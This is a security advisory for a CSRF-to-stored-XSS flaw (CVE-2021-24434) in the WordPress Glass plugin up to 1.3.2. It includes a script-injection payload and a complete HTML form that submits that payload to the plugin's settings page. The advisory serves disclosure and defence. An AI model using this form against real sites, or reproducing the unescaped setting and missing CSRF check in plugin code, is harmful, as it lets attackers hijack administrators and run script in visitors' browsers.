Glass <= 1.3.2 – CSRF to Stored Cross-Site Scripting (XSS) | CVE 2021-24434

Description

The plugin does not sanitise or escape its "Glass Pages" setting before outputting in a page, leading to a Stored Cross-Site Scripting issue. Furthermore, the plugin did not have CSRF check in place when saving its settings, allowing the issue to be exploited via a CSRF attack.

Proof of Concept

Add the following payload in the "Glass Pages" setting (/wp-admin/options-general.php?page=glass%2Fglass.php): '><script>alert(/XSS/)</script>

Via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=glass/glass.php" method="POST">
      <input type="hidden" name="myrtheGlassDefaultSize" value="4" />
      <input type="hidden" name="myrtheGlassRimPath" value="" />
      <input type="hidden" name="myrtheGlassRimRGB" value="CC6633" />
      <input type="hidden" name="myrtheGlassBackgroundRGB" value="999999" />
      <input type="hidden" name="myrtheGlassMinEnlarge" value="2.0" />
      <input type="hidden" name="myrtheGlassMaxEnlarge" value="100.0" />
      <input type="hidden" name="myrtheGlassDx" value="0" />
      <input type="hidden" name="myrtheGlassDy" value="0" />
      <input type="hidden" name="myrtheGlassOnFrontPage" value="y" />
      <input type="hidden" name="myrtheGlassCategories" value="" />
      <input type="hidden" name="myrtheGlassPages" value="'><script>alert(/XSS/)</script>" />
      <input type="hidden" name="myrtheGlassExcludePlatforms" value="iPod" />
      <input type="hidden" name="update_MyrtheGlassSettings" value="Update Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>